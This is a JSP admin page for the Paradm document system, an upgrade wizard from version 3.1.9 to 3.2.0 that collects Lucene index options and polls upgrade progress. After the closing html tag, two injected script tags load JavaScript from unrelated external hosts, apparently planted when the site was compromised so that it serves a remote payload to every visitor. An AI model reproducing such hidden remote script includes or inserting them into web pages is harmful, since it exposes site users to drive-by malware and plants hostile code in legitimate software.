<%
/*
 * @(#)upgrade319to320.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
 * upgrade319to320.jsp
 *
 * Responsibility to convert data from 3.1.9 to 3.2.0.
 *
 * @author          Brook.Huang
 * @company         DCIVision Limited
 * @creation date   28/12/2006
 * @version         $Revision: 1.1.2.2 $
 */
%>

<%@page import="com.dcivision.framework.*"%>
<%@page import="com.dcivision.upgrade.*"%>

<%-- ================================== --%>
<%-- ============= Filter ============= --%>
<%-- ================================== --%>

<%
SessionContainer sessionContainer = (SessionContainer) request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
boolean isLogin = sessionContainer != null
                                  && sessionContainer.getUserRecord() != null;

if (!isLogin) {
  response.sendRedirect(request.getContextPath()+"/Login.do?action=expire&url=jsp/admin/upgrade319to320.jsp");
  return;
}
%>

<%-- ================================== --%>
<%-- ============= Viewer ============= --%>
<%-- ================================== --%>

<html>
<head>
<title>Paradm system update (Edition 3.1.9-3.2.0)</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style type="text/css">
body {
  font-family   : "Times New Roman", "Helvetica", "sans-serif";
  font-weight   : normal;
  color         : #000000;
  font-size     : 12px;
}

.dojoLayoutContainer {
  width         : 70%;
}

.separateLine {
  color         : #C0C0C0;
  height        : 1px;
}

#reportView {
  text-align    : left;
  background    : #ffffff;
  border        : 1px solid #798ec5;
  padding       : 8px;
  width         : 100%;
  height        : 300px;
  overflow-y    : scroll;
}
</style>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/UpgradeAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/js/dojo/dojo.js"></script>
<script type="text/javascript">
<!--
  dojo.require("dojo.widget.Wizard");
  dojo.hostenv.writeIncludes();

  var upgradeInfo = {
    oldLuceneIndexPath : "",
    isUpdateFromOldLuceneIndex : false,
    upgradeBeginTime : 0
  }

  function restoreUpgradeInfo()
  {
      var oldLuceneIndexPath = $("oldLuceneIndexPath");
       var isUpdateFromOldLuceneIndex = $("isUpdateFromOldLuceneIndex");

      upgradeInfo.isUpdateFromOldLuceneIndex = isUpdateFromOldLuceneIndex && isUpdateFromOldLuceneIndex.checked ? true : false;

      if (upgradeInfo.isUpdateFromOldLuceneIndex) {
        upgradeInfo.oldLuceneIndexPath = oldLuceneIndexPath ? oldLuceneIndexPath.value : "";

         if (upgradeInfo.oldLuceneIndexPath == "") {
          return ("Old lucene index path is required for updating from old lucene index!");
        }
      }

      displayUpgradeInfo();
  }

  function displayUpgradeInfo()
  {
    $("oldLuceneIndexPathInfo").innerHTML = upgradeInfo.oldLuceneIndexPath;
    $("isUpdateFromOldLuceneIndexInfo").innerHTML = upgradeInfo.isUpdateFromOldLuceneIndex;
  }

  function wizardControl()
  {
    if (dojo.widget.byId("upgradePane").selected == dojo.widget.byId("processUpgrade"))
    {
      UpgradeAjaxProcessor.operateUpgrade(routingAfterUpgradeRequest, upgradeInfo);
    }
  }

  function routingAfterUpgradeRequest(data)
  {

    if (<%=UpgradeAjaxProcessor.UP_RP_PROCESSIONG%> == data)
    {
      $("upgradeState").innerHTML = "Upgrade is Processing... Please Wait"
      upgradeInfo.upgradeBeginTime = (new Date()).getTime();
      getProgressReport();
    }
    else
    {
      $("upgradeState").innerHTML = "Fail to Start";
      $("reportView").innerHTML = data;
    }
  }

  function getProgressReport()
  {
    UpgradeAjaxProcessor.getUpgradeProgressReport(refreshProgressReport);
  }

  function refreshProgressReport(data)
  {
    var isScrollLock = $("isScrollLock");
    var intervalRefreshTime = 5000;

    if (!isScrollLock || !isScrollLock.checked)
    {
      $("reportView").scrollTop = $("reportView").scrollHeight;
    }

    if (<%=UpgradeAjaxProcessor.UP_RP_NONE%> == data)
    {
      $("upgradeState").innerHTML = "Upgrade Havent Started...";
      return;
    }

    if (<%=UpgradeAjaxProcessor.UP_RP_ERRORS_OCCUR%> == data)
    {
      $("upgradeState").innerHTML = "Errors Occurs in Upgrading";
      return;
    }

    if (<%=UpgradeAjaxProcessor.UP_RP_OK%> == data)
    {
      $("upgradeState").innerHTML = "Upgrade Completed Successful." + " Total Use Time : " + ((new Date()).getTime()- upgradeInfo.upgradeBeginTime)/1000 + " Seconds";
      return;
    }

    $("reportView").innerHTML += data;

    window.setTimeout("getProgressReport()", intervalRefreshTime);
  }

  function init()
  {
    dojo.event.connect("after", dojo.widget.byId("upgradePane"), "onSelected", wizardControl);
  }

  dojo.addOnLoad(init);

-->
</script>
</head>
<body>
<center>
<h3 align="center">PARADM UPGRADE WIZARD (3.1.9-3.2.0)</h3>
<div widgetId="upgradePane" dojoType="WizardContainer" nextButtonLabel="next step >>"
  previousButtonLabel="<< previous step" hideDisabledButtons="true"
  >

<div widgetId="welcomePane" dojoType="WizardPane">
<h5>Upgrade Annotation</h5>
<hr class="separateLine">
<p>Please submit upgrading in good data backup operation before,
once upgrade failure to use backup and data recovery. Submitted
upgrading operation, it can take some time to upgrade operations, please
wait patiently.</p>
<p>Please operate upgrade step by step follow this wizard.</p>
</div>

<div widgetId="setupUpgradeInfo" dojoType="WizardPane" passFunction="restoreUpgradeInfo">
<h5>Restore Lucene Index Info</h5>
<hr class="separateLine">
<p>
By default, Lucene would scan all documents to rebuild the new index.<p>

<p>If you prefer to generate the new index from old Lucene index, please input the Lucene backup index path (that you have prepared in advance before starting server).</p>
Check this if you prefer generating new index from old Lucene index:<input type="checkbox" name="isUpdateFromOldLuceneIndex" value="true">
<p>
Lucene backup index path: <input type="text" name="oldLuceneIndexPath" value="">
</p>
</div>

<div widgetId="reviewUpgradeInfo" dojoType="WizardPane">
<h5>Upgrade Info</h5>
<hr class="separateLine">
<p>
Is Update From Old Lucene Index : <span id="isUpdateFromOldLuceneIndexInfo"></span><br>
Old Lucene Index Path : <span id="oldLuceneIndexPathInfo"></span>
</p>
<hr class="separateLine">
<p>Please verify the upgrade info, press the previous step to edit the info and press next step to start the upgrade.</p>
</div>

<div widgetId="processUpgrade" dojoType="WizardPane" canGoBack="false">
<p>Upgrade State : <span id="upgradeState"></span></p>
<p>Scroll Lock:<input name="isScrollLock" type="checkbox" value="Y"></p>

<div id="reportView"></div>

</div>

</div>
</center>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>